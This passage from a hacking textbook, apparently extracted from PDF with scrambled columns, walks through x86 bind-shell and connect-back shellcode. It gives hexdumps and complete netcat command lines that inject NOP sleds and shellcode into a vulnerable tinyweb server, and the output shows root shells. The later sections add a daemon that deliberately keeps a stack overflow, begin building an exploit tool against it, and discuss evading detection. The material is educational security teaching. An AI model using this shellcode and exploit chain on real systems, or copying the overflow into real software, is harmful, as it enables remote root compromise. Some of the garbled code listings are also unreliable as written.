; dup2(connected socket, {all three standard I/O file descriptors}) mov ebx, eax ; Move socket FD in ebx. push BYTE 0x3F ; dup2 syscall #63 pop eax xor ecx, ecx ; ecx = 0 = standard input int 0x80 ; dup(c, 0) mov BYTE al, 0x3F ; dup2 syscall #63 inc ecx ; ecx = 1 = standard output int 0x80 ; dup(c, 1) mov BYTE al, 0x3F ; dup2 syscall #63 inc ecx ; ecx = 2 = standard error int 0x80 ; dup(c, 2) ; execve(const char mov BYTE al, 11 push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push ecx mov edx, esp push ebx mov ecx, esp int 0x80 *filename, char *const argv [], char *const envp[]) ; execve syscall #11 ; push some nulls for string termination. ; push "//sh" to the stack. ; push "/bin" to the stack. ; Put the address of "/bin//sh" into ebx via esp. ; push 32-bit null terminator to stack. ; This is an empty array for envp. ; push string addr to stack above null terminator. ; This is the argv array with string ptr. ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

When this shellcode is assembled and used in an exploit, it will bind to port 31337 and wait for an incoming connection. In the output below, grep is used to quickly check for null bytes. At the end, the process hangs waiting for a connection. reader@hacking:~/booksrc reader@hacking:~/booksrc 00000000 6a 66 58 99 31 00000010 89 c6 6a 66 58 00000020 10 51 56 89 e1 $ nasm bind_shell_beta.s $ hexdump -C bind_shell_beta | db 43 52 6a 01 6a 02 89 e1 cd 43 52 66 68 7a 69 66 53 89 e1 cd 80 b0 66 43 43 53 56 89 e1

grep --color=auto 00 80 |jfX.1.CRj.j.....| 6a |..jfXCRfhzifS..j| cd |.QV.....fCCSV...|

308

0x 500

00000030 80 b0 66 43 52 52 56 89 e1 cd 80 89 c3 00000040 31 c9 cd 80 b0 3f 41 cd 80 b0 3f 41 cd 00000050 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 00000060 53 89 e1 cd 80 00000065 reader@hacking:~/booksrc $ export SHELLCODE=$(cat reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE SHELLCODE will be at 0xbffff97f reader@hacking:~/booksrc $ ./notesearch $(perl -e [DEBUG] found a 33 byte note for user id 999 -------[ end of note data ]-------

6a 3f 58 |..fCRRV......j?X| 80 b0 0b |1....?A...?A....| 52 89 e2 |Rh//shh/bin..R..| |S....| bind_shell_beta) ./notesearch 'print "\x7f\xf9\xff\xbf"x40')

From another terminal window, the program netstat is used to find the listening port. Then, netcat is used to connect to the root shell on that port. reader@hacking:~/booksrc $ sudo netstat -lp | grep 31337 tcp 0 0 *:31337 *:* LISTEN reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337 localhost [127.0.0.1] 31337 (?) open whoami root 25604/notesearch

0x542 Branching Control Structures
The control structures of the C programming language, such as for loops and if-then-else blocks, are made up of conditional branches and loops in the machine language. With control structures, the repeated calls to dup2 could be shrunk down to a single call in a loop. The first C program written in previous chapters used a for loop to greet the world 10 times. Disassembling the main function will show us how the compiler implemented the for loop using assembly instructions. The loop instructions (shown below in bold) come after the function prologue instructions save stack memory for the local variable i. This variable is referenced in relation to the EBP register as [ebp-4]. reader@hacking:~/booksrc $ gcc firstprog.c reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x08048374 : push ebp 0x08048375 : mov ebp,esp 0x08048377 : sub esp,0x8 0x0804837a : and esp,0xfffffff0 0x0804837d : mov eax,0x0 0x08048382 : sub esp,eax 0x08048384 : mov DWORD PTR [ebp-4],0x0 0x0804838b : cmp DWORD PTR [ebp-4],0x9 0x0804838f : jle 0x8048393 0x08048391 : jmp 0x80483a6 0x08048393 : mov DWORD PTR [esp],0x8048484 0x0804839a : call 0x80482a0

Sh el lc ode

309

0x0804839f : 0x080483a2 : 0x080483a4 : 0x080483a6 : 0x080483a7 : End of assembler dump. (gdb)

lea inc jmp leave ret

eax,[ebp-4] DWORD PTR [eax] 0x804838b

The loop contains two new instructions: cmp (compare) and jle (jump if less than or equal to), the latter belonging to the family of conditional jump instructions. The cmp instruction will compare its two operands, setting flags based on the result. Then, a conditional jump instruction will jump based on the flags. In the code above, if the value at [ebp-4] is less than or equal to 9, execution will jump to 0x8048393, past the next jmp instruction. Otherwise, the next jmp instruction brings execution to the end of the function at 0x080483a6, exiting the loop. The body of the loop makes the call to printf(), increments the counter variable at [ebp-4], and finally jumps back to the compare instruction to continue the loop. Using conditional jump instructions, complex programming control structures such as loops can be created in assembly. More conditional jump instructions are shown below.
Instruction
cmp , je jne jl jle jnl jnle jg jng jge jnge

Description Compare the destination operand with the source, setting flags for use with a conditional jump instruction. Jump to target if the compared values are equal. Jump if not equal. Jump if less than. Jump if less than or equal to. Jump if not less than. Jump if not less than or equal to. Jump if greater than, or greater than or equal to. Jump if not greater than, or not greater than or equal to.

These instructions can be used to shrink the dup2 portion of the shellcode down to the following:
; dup2(connected socket, {all three standard I/O file descriptors}) mov ebx, eax ; Move socket FD in ebx. xor eax, eax ; Zero eax. xor ecx, ecx ; ecx = 0 = standard input dup_loop: mov BYTE al, 0x3F ; dup2 syscall #63 int 0x80 ; dup2(c, 0) inc ecx cmp BYTE cl, 2 ; Compare ecx with 2. jle dup_loop ; If ecx cat connectback_shell; > perl -e 'print "\x88\xf6\xff\xbf"x20 . "\r\n"') | nc -v 127.0.0.1 80 localhost [127.0.0.1] 80 (www) open

Back in the original terminal, the shellcode has connected back to the netcat process listening on port 31337. This provides root shell access remotely. reader@hacking:~/booksrc $ nc -v -l -p 31337 listening on [any] 31337 ... connect to [192.168.42.72] from hacking.local [192.168.42.72] 34391 whoami root

The network configuration for this example is slightly confusing because the attack is directed at 127.0.0.1 and the shellcode connects back to 192.168.42.72. Both of these IP addresses route to the same place, but 192.168.42.72 is easier to use in shellcode than 127.0.0.1. Since the loopback address contains two null bytes, the address must be built on the stack with
Sh el lc ode

317

multiple instructions. One way to do this is to write the two null bytes to the stack using a zeroed register. The file loopback_shell.s is a modified version of connectback_shell.s that uses the loopback address of 127.0.0.1. The differences are shown in the following output. reader@hacking:~/booksrc $ diff connectback_shell.s loopback_shell.s 21c21,22 < push DWORD 0x482aa8c0 ; Build sockaddr struct: IP Address = 192.168.42.72 --> push DWORD 0x01BBBB7f ; Build sockaddr struct: IP Address = 127.0.0.1 > mov WORD [esp+1], dx ; overwrite the BBBB with 0000 in the previous push reader@hacking:~/booksrc $

After pushing the value 0x01BBBB7f to the stack, the ESP register will point to the beginning of this DWORD. By writing a two-byte WORD of null bytes at ESP+1, the middle two bytes will be overwritten to form the correct return address. This additional instruction increases the size of the shellcode by a few bytes, which means the NOP sled also needs to be adjusted for the exploit buffer. These calculations are shown in the output below, and they result in a 397-byte NOP sled. This exploit using the loopback shellcode assumes that the tinyweb program is running and that a netcat process is listening for incoming connections on port 31337. reader@hacking:~/booksrc $ nasm loopback_shell.s reader@hacking:~/booksrc $ hexdump -C loopback_shell | grep --color=auto 00 00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....| 00000010 96 6a 66 58 43 68 7f bb bb 01 66 89 54 24 01 66 |.jfXCh....f.T$.f| 00000020 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 43 cd 80 |hzifS..j.QV..C..| 00000030 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 0b 52 68 |....I.?..Iy...Rh| 00000040 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 e2 53 89 |//shh/bin..R..S.| 00000050 e1 cd 80 |...| 00000053 reader@hacking:~/booksrc $ wc -c loopback_shell 83 loopback_shell reader@hacking:~/booksrc $ echo $(( 544 - (4*16) - 83 )) 397 reader@hacking:~/booksrc $ (perl -e 'print "\x90"x397';cat loopback_shell;perl -e 'print "\x88\ xf6\xff\xbf"x16 . "\r\n"') | nc -v 127.0.0.1 80 localhost [127.0.0.1] 80 (www) open

As with the previous exploit, the terminal with netcat listening on port 31337 will receive the rootshell. reader@hacking:~ $ nc -vlp 31337 listening on [any] 31337 ... connect to [127.0.0.1] from localhost [127.0.0.1] 42406 whoami root

It almost seems too easy, doesn’t it?
318
0x 500

0x600
COUNTERMEASURES
The golden poison dart frog secretes an extremely toxic poison—one frog can emit enough to kill 10 adult humans. The only reason these frogs have such an amazingly powerful defense is that a certain species of snake kept eating them and developing a resistance.
In response, the frogs kept evolving stronger and stronger poisons as a defense. One result of this co-evolution is that the frogs are safe against all other predators. This type of co-evolution also happens with hackers. Their exploit techniques have been around for years, so it’s only natural that defensive countermeasures would develop. In response, hackers find ways to bypass and subvert these defenses, and then new defense techniques are created. This cycle of innovation is actually quite beneficial. Even though viruses and worms can cause quite a bit of trouble and costly interruptions for businesses, they force a response, which fixes the problem. Worms replicate by exploiting existing vulnerabilities in flawed software. Often these flaws are undiscovered for years, but relatively benign worms such as CodeRed or Sasser force these problems to be fixed. As with chickenpox, it’s better to suffer a

minor outbreak early instead of years later when it can cause real damage. If it weren’t for Internet worms making a public spectacle of these security flaws, they might remain unpatched, leaving us vulnerable to an attack from someone with more malicious goals than just replication. In this way, worms and viruses can actually strengthen security in the long run. However, there are more proactive ways to strengthen security. Defensive countermeasures exist which try to nullify the effect of an attack, or prevent the attack from happening. A countermeasure is a fairly abstract concept; this could be a security product, a set of policies, a program, or simply just an attentive system administrator. These defensive countermeasures can be separated into two groups: those that try to detect the attack and those that try to protect the vulnerability.

0x610

Countermeasures That Detect
The first group of countermeasures tries to detect the intrusion and respond in some way. The detection process could be anything from an administrator reading logs to a program sniffing the network. The response might include killing the connection or process automatically, or just the administrator scrutinizing everything from the machine’s console. As a system administrator, the exploits you know about aren’t nearly as dangerous as the ones you don’t. The sooner an intrusion is detected, the sooner it can be dealt with and the more likely it can be contained. Intrusions that aren’t discovered for months can be cause for concern. The way to detect an intrusion is to anticipate what the attacking hacker is going to do. If you know that, then you know what to look for. Countermeasures that detect can look for these attack patterns in log files, network packets, or even program memory. After an intrusion is detected, the hacker can be expunged from the system, any filesystem damage can be undone by restoring from backup, and the exploited vulnerability can be identified and patched. Detecting countermeasures are quite powerful in an electronic world with backup and restore capabilities. For the attacker, this means detection can counteract everything he does. Since the detection might not always be immediate, there are a few “smash and grab” scenarios where it doesn’t matter; however, even then it’s better not to leave tracks. Stealth is one of the hacker’s most valuable assets. Exploiting a vulnerable program to get a root shell means you can do whatever you want on that system, but avoiding detection additionally means no one knows you’re there. The combination of “God mode” and invisibility makes for a dangerous hacker. From a concealed position, passwords and data can be quietly sniffed from the network, programs can be backdoored, and further attacks can be launched on other hosts. To stay hidden, you simply need to anticipate the detection methods that might be used. If you know what they are looking for, you can avoid certain exploit patterns or mimic valid ones. The co-evolutionary cycle between hiding and detecting is fueled by thinking of the things the other side hasn’t thought of.

320

0x 600

0x620

System Daemons
To have a realistic discussion of exploit countermeasures and bypass methods, we first need a realistic exploitation target. A remote target will be a server program that accepts incoming connections. In Unix, these programs are usually system daemons. A daemon is a program that runs in the background and detaches from the controlling terminal in a certain way. The term daemon was first coined by MIT hackers in the 1960s. It refers to a molecule-sorting demon from an 1867 thought experiment by a physicist named James Maxwell. In the thought experiment, Maxwell’s demon is a being with the supernatural ability to effortlessly perform difficult tasks, apparently violating the second law of thermodynamics. Similarly, in Linux, system daemons tirelessly perform tasks such as providing SSH service and keeping system logs. Daemon programs typically end with a d to signify they are daemons, such as sshd or syslogd. With a few additions, the tinyweb.c code on page 214 can be made into a more realistic system daemon. This new code uses a call to the daemon() function, which will spawn a new background process. This function is used by many system daemon processes in Linux, and its man page is shown below.

DAEMON(3) NAME

Linux Programmer's Manual

DAEMON(3)

daemon - run in the background SYNOPSIS #include int daemon(int nochdir, int noclose); DESCRIPTION The daemon() function is for programs wishing to detach themselves from the controlling terminal and run in the background as system daemons. Unless the argument nochdir is non-zero, daemon() changes working directory to the root ("/"). the current

Unless the argument noclose is non-zero, daemon() will redirect stan dard input, standard output and standard error to /dev/null. RETURN VALUE (This function forks, and if the fork() succeeds, the parent does _exit(0), so that further errors are seen by the child only.) On suc cess zero will be returned. If an error occurs, daemon() returns -1 and sets the global variable errno to any of the errors specified for the library functions fork(2) and setsid(2).

C oun t erm ea s ure s

321

System daemons run detached from a controlling terminal, so the new tinyweb daemon code writes to a log file. Without a controlling terminal, system daemons are typically controlled with signals. The new tinyweb daemon program will need to catch the terminate signal so it can exit cleanly when killed.

0x621 Crash Course in Signals
Signals provide a method of interprocess communication in Unix. When a process receives a signal, its flow of execution is interrupted by the operating system to call a signal handler. Signals are identified by a number, and each one has a default signal handler. For example, when CTRL -C is typed in a program’s controlling terminal, an interrupt signal is sent, which has a default signal handler that exits the program. This allows the program to be interrupted, even if it is stuck in an infinite loop. Custom signal handlers can be registered using the signal() function. In the example code below, several signal handlers are registered for certain signals, whereas the main code contains an infinite loop. signal_example.c
#include #include #include /* Some labeled signal defines from signal.h * #define SIGHUP 1 Hangup * #define SIGINT 2 Interrupt (Ctrl-C) * #define SIGQUIT 3 Quit (Ctrl-\) * #define SIGILL 4 Illegal instruction * #define SIGTRAP 5 Trace/breakpoint trap * #define SIGABRT 6 Process aborted * #define SIGBUS 7 Bus error * #define SIGFPE 8 Floating point error * #define SIGKILL 9 Kill * #define SIGUSR1 10 User defined signal 1 * #define SIGSEGV 11 Segmentation fault * #define SIGUSR2 12 User defined signal 2 * #define SIGPIPE 13 Write to pipe with no one reading * #define SIGALRM 14 Countdown alarm set by alarm() * #define SIGTERM 15 Termination (sent by kill command) * #define SIGCHLD 17 Child process signal * #define SIGCONT 18 Continue if stopped * #define SIGSTOP 19 Stop (pause execution) * #define SIGTSTP 20 Terminal stop [suspend] (Ctrl-Z) * #define SIGTTIN 21 Background process trying to read stdin * #define SIGTTOU 22 Background process trying to read stdout */ /* A signal handler */ void signal_handler(int signal) {

322

0x 600

printf("Caught signal %d\t", signal); if (signal == SIGTSTP) printf("SIGTSTP (Ctrl-Z)"); else if (signal == SIGQUIT) printf("SIGQUIT (Ctrl-\\)"); else if (signal == SIGUSR1) printf("SIGUSR1"); else if (signal == SIGUSR2) printf("SIGUSR2"); printf("\n"); } void sigint_handler(int x) { printf("Caught a Ctrl-C (SIGINT) in a separate handler\nExiting.\n"); exit(0); } int main() { /* Registering signal handlers */ signal(SIGQUIT, signal_handler); // Set signal_handler() as the signal(SIGTSTP, signal_handler); // signal handler for these signal(SIGUSR1, signal_handler); // signals. signal(SIGUSR2, signal_handler); signal(SIGINT, sigint_handler); while(1) {} } // Loop forever. // Set sigint_handler() for SIGINT.

When this program is compiled and executed, signal handlers are registered, and the program enters an infinite loop. Even though the program is stuck looping, incoming signals will interrupt execution and call the registered signal handlers. In the output below, signals that can be triggered from the controlling terminal are used. The signal_handler() function, when finished, returns execution back into the interrupted loop, whereas the sigint_handler() function exits the program. reader@hacking:~/booksrc $ gcc -o signal_example signal_example.c reader@hacking:~/booksrc $ ./signal_example Caught signal 20 SIGTSTP (Ctrl-Z) Caught signal 3 SIGQUIT (Ctrl-\) Caught a Ctrl-C (SIGINT) in a separate handler Exiting. reader@hacking:~/booksrc $

Specific signals can be sent to a process using the kill command. By default, the kill command sends the terminate signal (SIGTERM) to a process. With the -l command-line switch, kill lists all the possible signals. In the output below, the SIGUSR1 and SIGUSR2 signals are sent to the signal_example program being executed in another terminal.

C oun t erm ea s ure s

323

reader@hacking:~/booksrc $ kill -l 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR 31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8 43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2 63) SIGRTMAX-1 64) SIGRTMAX reader@hacking:~/booksrc $ ps a | grep signal_example 24491 pts/3 R+ 0:17 ./signal_example 24512 pts/1 S+ 0:00 grep signal_example reader@hacking:~/booksrc $ kill -10 24491 reader@hacking:~/booksrc $ kill -12 24491 reader@hacking:~/booksrc $ kill -9 24491 reader@hacking:~/booksrc $

Finally, the SIGKILL signal is sent using kill -9 . This signal’s handler cannot be changed, so kill -9 can always be used to kill processes. In the other terminal, the running signal_example shows the signals as they are caught and the process is killed. reader@hacking:~/booksrc $ ./signal_example Caught signal 10 SIGUSR1 Caught signal 12 SIGUSR2 Killed reader@hacking:~/booksrc $

Signals themselves are pretty simple; however, interprocess communication can quickly become a complex web of dependencies. Fortunately, in the new tinyweb daemon, signals are only used for clean termination, so the implementation is simple.

0x622 Tinyweb Daemon
This newer version of the tinyweb program is a system daemon that runs in the background without a controlling terminal. It writes its output to a log file with timestamps, and it listens for the terminate ( SIGTERM) signal so it can shut down cleanly when it’s killed. These additions are fairly minor, but they provide a much more realistic exploit target. The new portions of the code are shown in bold in the listing below.
324

0x 600

tinywebd.c
#include #include #include #include #include #include #include #include #include #include #include "hacking.h" "hacking-network.h"

#define PORT 80 // The port users will be connecting to #define WEBROOT "./webroot" // The webserver's root directory #define LOGFILE "/var/log/tinywebd.log" // Log filename int logfd, sockfd; // Global log and socket file descriptors void handle_connection(int, struct sockaddr_in *, int); int get_file_size(int); // Returns the file size of open file descriptor void timestamp(int); // Writes a timestamp to the open file descriptor // This function is called when the process is killed. void handle_shutdown(int signal) { timestamp(logfd); write(logfd, "Shutting down.\n", 16); close(logfd); close(sockfd); exit(0); } int main(void) { int new_sockfd, yes=1; struct sockaddr_in host_addr, client_addr; socklen_t sin_size;

// My address information

logfd = open(LOGFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); if(logfd == -1) fatal("opening log file"); if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) fatal("setting socket option SO_REUSEADDR"); printf("Starting tiny web daemon.\n"); if(daemon(1, 0) == -1) // Fork to a background daemon process. fatal("forking to daemon process"); signal(SIGTERM, handle_shutdown); signal(SIGINT, handle_shutdown); timestamp(logfd);
C oun t erm ea s ure s

// Call handle_shutdown when killed. // Call handle_shutdown when interrupted.

325

write(logfd, "Starting up.\n", 15); host_addr.sin_family = AF_INET; // host_addr.sin_port = htons(PORT); // host_addr.sin_addr.s_addr = INADDR_ANY; memset(&(host_addr.sin_zero), '\0', 8);

Host byte order Short, network byte order // Automatically fill with my IP. // Zero the rest of the struct.

if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1) fatal("binding to socket"); if (listen(sockfd, 20) == -1) fatal("listening on socket"); while(1) { // Accept loop. sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd == -1) fatal("accepting connection"); handle_connection(new_sockfd, &client_addr, logfd); } return 0; } /* This function handles the connection on the passed socket from the * passed client address and logs to the passed FD. The connection is * processed as a web request and this function replies over the connected * socket. Finally, the passed socket is closed at the end of the function. */ void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length; length = recv_line(sockfd, request); sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request); ptr = strstr(request, " HTTP/"); // Search for valid-looking request. if(ptr == NULL) { // Then this isn't valid HTTP strcat(log_buffer, " NOT HTTP!\n"); } else { *ptr = 0; // Terminate the buffer at the end of the URL. ptr = NULL; // Set ptr to NULL (used to flag for an invalid request). if(strncmp(request, "GET ", 4) == 0) // Get request ptr = request+4; // ptr is the URL. if(strncmp(request, "HEAD ", 5) == 0) // Head request ptr = request+5; // ptr is the URL. if(ptr == NULL) { // Then this is not a recognized request strcat(log_buffer, " UNKNOWN REQUEST!\n"); } else { // Valid request, with ptr pointing to the resource name if (ptr[strlen(ptr) - 1] == '/') // For resources ending with '/', strcat(ptr, "index.html"); // add 'index.html' to the end. strcpy(resource, WEBROOT); // Begin resource with web root path strcat(resource, ptr); // and join it with resource path. fd = open(resource, O_RDONLY, 0); // Try to open the file.

326

0x 600

if(fd == -1) { // If file is not found strcat(log_buffer, " 404 Not Found\n"); send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n"); send_string(sockfd, "Server: Tiny webserver\r\n\r\n"); send_string(sockfd, "404 Not Found"); send_string(sockfd, "URL not found\r\n"); } else { // Otherwise, serve up the file. strcat(log_buffer, " 200 OK\n"); send_string(sockfd, "HTTP/1.0 200 OK\r\n"); send_string(sockfd, "Server: Tiny webserver\r\n\r\n"); if(ptr == request + 4) { // Then this is a GET request if( (length = get_file_size(fd)) == -1) fatal("getting resource file size"); if( (ptr = (unsigned char *) malloc(length)) == NULL) fatal("allocating memory for reading resource"); read(fd, ptr, length); // Read the file into memory. send(sockfd, ptr, length, 0); // Send it to socket. free(ptr); // Free file memory. } close(fd); // Close the file. } // End if block for file found/not found. } // End if block for valid request. } // End if block for valid HTTP. timestamp(logfd); length = strlen(log_buffer); write(logfd, log_buffer, length); // Write to the log. shutdown(sockfd, SHUT_RDWR); // Close the socket gracefully. } /* This function accepts an open file descriptor and returns * the size of the associated file. Returns -1 on failure. */ int get_file_size(int fd) { struct stat stat_struct; if(fstat(fd, &stat_struct) == -1) return -1; return (int) stat_struct.st_size; } /* This function writes a timestamp string to the open file descriptor * passed to it. */ void timestamp(fd) { time_t now; struct tm *time_struct; int length; char time_buffer[40]; time(&now); // Get number of seconds since epoch. time_struct = localtime((const time_t *)&now); // Convert to tm struct. length = strftime(time_buffer, 40, "%m/%d/%Y %H:%M:%S> ", time_struct); write(fd, time_buffer, length); // Write timestamp string to log. }
C oun t erm ea s ure s

327

This daemon program forks into the background, writes to a log file with timestamps, and cleanly exits when it is killed. The log file descriptor and connection-receiving socket are declared as globals so they can be closed cleanly by the handle_shutdown() function. This function is set up as the callback handler for the terminate and interrupt signals, which allows the program to exit gracefully when it’s killed with the kill command. The output below shows the program compiled, executed, and killed. Notice that the log file contains timestamps as well as the shutdown message when the program catches the terminate signal and calls handle_shutdown() to exit gracefully. reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ Starting tiny web daemon. gcc -o tinywebd tinywebd.c sudo chown root ./tinywebd sudo chmod u+s ./tinywebd ./tinywebd

reader@hacking:~/booksrc $ ./webserver_id 127.0.0.1 The web server for 127.0.0.1 is Tiny webserver reader@hacking:~/booksrc $ ps ax | grep tinywebd 25058 ? Ss 0:00 ./tinywebd 25075 pts/3 R+ 0:00 grep tinywebd reader@hacking:~/booksrc $ kill 25058 reader@hacking:~/booksrc $ ps ax | grep tinywebd 25121 pts/3 R+ 0:00 grep tinywebd reader@hacking:~/booksrc $ cat /var/log/tinywebd.log cat: /var/log/tinywebd.log: Permission denied reader@hacking:~/booksrc $ sudo cat /var/log/tinywebd.log 07/22/2007 17:55:45> Starting up. 07/22/2007 17:57:00> From 127.0.0.1:38127 "HEAD / HTTP/1.0" 07/22/2007 17:57:21> Shutting down. reader@hacking:~/booksrc $

200 OK

This tinywebd program serves HTTP content just like the original tinyweb program, but it behaves as a system daemon, detaching from the controlling terminal and writing to a log file. Both programs are vulnerable to the same overflow exploit; however, the exploitation is only the beginning. Using the new tinyweb daemon as a more realistic exploit target, you will learn how to avoid detection after the intrusion.

0x630

Tools of the Trade
With a realistic target in place, let’s jump back over to the attacker’s side of the fence. For this kind of attack, exploit scripts are an essential tool of the trade. Like a set of lock picks in the hands of a professional, exploits open many doors for a hacker. Through careful manipulation of the internal mechanisms, the security can be entirely sidestepped.

328

0x 600

In previous chapters, we’ve written exploit code in C and manually exploited vulnerabilities from the command line. The fine line between an exploit program and an exploit tool is a matter of finalization and reconfigurability. Exploit programs are more like guns than tools. Like a gun, an exploit program has a singular utility and the user interface is as simple as pulling a trigger. Both guns and exploit programs are finalized products that can be used by unskilled people with dangerous results. In contrast, exploit tools usually aren’t finished products, nor are they meant for others to use. With an understanding of programming, it’s only natural that a hacker would begin to write his own scripts and tools to aid exploitation. These personalized tools automate tedious tasks and facilitate experimentation. Like conventional tools, they can be used for many purposes, extending the skill of the user.

0x631 tinywebd Exploit Tool
For the tinyweb daemon, we want an exploit tool that allows us to experiment with the vulnerabilities. As in the development of our previous exploits, GDB is used first to figure out the details of the vulnerability, such as offsets. The offset to the return address will be the same as in the original tinyweb.c program, but a daemon program presents added challenges. The daemon call forks the process, running the rest of the program in the child process, while the parent process exits. In the output below, a breakpoint is set after the daemon() call, but the debugger never hits it. reader@hacking:~/booksrc $ gcc -g tinywebd.c reader@hacking:~/booksrc $ sudo gdb -q ./a.out warning: not using untrusted file "/home/reader/.gdbinit" Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) list 47 42 43 if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) 44 fatal("setting socket option SO_REUSEADDR"); 45 46 printf("Starting tiny web daemon.\n"); 47 if(daemon(1, 1) == -1) // Fork to a background daemon process. 48 fatal("forking to daemon process"); 49 50 signal(SIGTERM, handle_shutdown); // Call handle_shutdown when killed. 51 signal(SIGINT, handle_shutdown); // Call handle_shutdown when interrupted. (gdb) break 50 Breakpoint 1 at 0x8048e84: file tinywebd.c, line 50. (gdb) run Starting program: /home/reader/booksrc/a.out Starting tiny web daemon. Program exited normally. (gdb)

C oun t erm ea s ure s

329

When the program is run, it just exits. In order to debug this program, GDB needs to be told to follow the child process, as opposed to following the parent. This is done by setting follow-fork-mode to child. After this change, the debugger will follow execution into the child process, where the breakpoint can be hit.
(gdb) set follow-fork-mode child (gdb) help set follow-fork-mode Set debugger response to a program call of fork or vfork. A fork or vfork creates a new process. follow-fork-mode can be: parent - the original process is debugged after a fork child - the new process is debugged after a fork The unfollowed process will continue to run. By default, the debugger will follow the parent process. (gdb) run Starting program: /home/reader/booksrc/a.out Starting tiny web daemon. [Switching to process 1051] Breakpoint 1, main () at tinywebd.c:50 50 signal(SIGTERM, handle_shutdown); (gdb) quit The program is running. Exit anyway? (y or n) reader@hacking:~/booksrc $ ps aux | grep a.out root 911 0.0 0.0 1636 416 ? reader 1207 0.0 0.0 2880 748 pts/2 reader@hacking:~/booksrc $ sudo kill 911 reader@hacking:~/booksrc $

// Call handle_shutdown when killed. y Ss R+ 06:04 06:13 0:00 /home/reader/booksrc/a.out 0:00 grep a.out

It’s good to know how to debug child processes, but since we need specific stack values, it’s much cleaner and easier to attach to a running process. After killing any stray a.out processes, the tinyweb daemon is started back up and then attached to with GDB. reader@hacking:~/booksrc $ Starting tiny web daemon.. reader@hacking:~/booksrc $ root 25830 0.0 0.0 reader 25837 0.0 0.0 reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ ./tinywebd ps aux | grep tinywebd 1636 356 ? Ss 20:10 0:00 ./tinywebd 2880 748 pts/1 R+ 20:10 0:00 grep tinywebd gcc -g tinywebd.c sudo gdb -q—pid=25830 --symbols=./a.out

warning: not using untrusted file "/home/reader/.gdbinit" Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". Attaching to process 25830 /cow/home/reader/booksrc/tinywebd: No such file or directory. A program is being debugged already. Kill it? (y or n) n Program not killed. (gdb) bt #0 0xb7fe77f2 in ?? () #1 0xb7f691e1 in ?? () #2 0x08048f87 in main () at tinywebd.c:68 (gdb) list 68

330

0x 600

63 if (listen(sockfd, 20) == -1) 64 fatal("listening on socket"); 65 66 while(1) { // Accept loop 67 sin_size = sizeof(struct sockaddr_in); 68 new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); 69 if(new_sockfd == -1) 70 fatal("accepting connection"); 71 72 handle_connection(new_sockfd, &client_addr, logfd); (gdb) list handle_connection 77 /* This function handles the connection on the passed socket from the 78 * passed client address and logs to the passed FD. The connection is 79 * processed as a web request, and this function replies over the connected 80 * socket. Finally, the passed socket is closed at the end of the function. 81 */ 82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { 83 unsigned char *ptr, request[500], resource[500], log_buffer[500]; 84 int fd, length; 85 86 length = recv_line(sockfd, request); (gdb) break 86 Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86. (gdb) cont Continuing.

The execution pauses while the tinyweb daemon waits for a connection. Once again, a connection is made to the webserver using a browser to advance the code execution to the breakpoint.
